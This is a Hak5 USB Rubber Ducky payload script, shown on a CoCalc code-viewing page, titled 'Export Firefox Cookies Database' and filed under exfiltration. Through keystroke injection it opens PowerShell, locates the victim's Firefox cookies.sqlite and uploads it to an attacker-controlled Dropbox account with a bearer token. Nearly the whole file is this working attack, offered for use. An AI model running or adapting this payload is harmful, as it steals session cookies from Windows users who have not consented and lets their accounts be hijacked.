Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/Export_Cookies_From_Firefox/payload.txt
2968 views
1
REM ####################################################
2
REM # |
3
REM # Title : Export Firefox Cookies Database |
4
REM # Author : Aleff |
5
REM # Version : 1.0 |
6
REM # Category : Exfiltration |
7
REM # Target : Windows 10-11 |
8
REM # |
9
REM ####################################################
10
11
12
REM Requirements:
13
REM - Firefox must be installed
14
15
16
REM You must define your Dropbox accessToken or modify the exfiltration modality. Replace just the example word with your token.
17
DEFINE DROPBOX_ACCESS_TOKEN "example"
18
19
20
DELAY 1000
21
GUI r
22
DELAY 500
23
STRING powershell
24
DELAY 500
25
ENTER
26
DELAY 2000
27
28
29
REM Get cookies DB path
30
STRINGLN
31
$firefoxProfilePath = Join-Path -Path $env:APPDATA -ChildPath 'Mozilla\Firefox\Profiles'
32
$firefoxProfile = Get-ChildItem -Path $firefoxProfilePath | Where-Object {$_.Name -like "*default-release"}
33
34
$filePath = Join-Path -Path $firefoxProfile.FullName -ChildPath 'cookies.sqlite'
35
36
END_STRINGLN
37
38
REM Setting about exfiltration
39
STRING $accessToken =
40
STRING DROPBOX_ACCESS_TOKEN
41
ENTER
42
43
STRINGLN
44
$uploadUrl = "https://content.dropboxapi.com/2/files/upload"
45
46
$dropboxFilePath = "/cookies_exported.sqlite"
47
48
$headers = @{}
49
$headers.Add("Authorization", "Bearer $accessToken")
50
$headers.Add("Dropbox-API-Arg", '{"path":"' + $dropboxFilePath + '","mode":"add","autorename":true,"mute":false}')
51
$headers.Add("Content-Type", "application/octet-stream")
52
53
Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $filePath; exit;
54
END_STRINGLN
55
56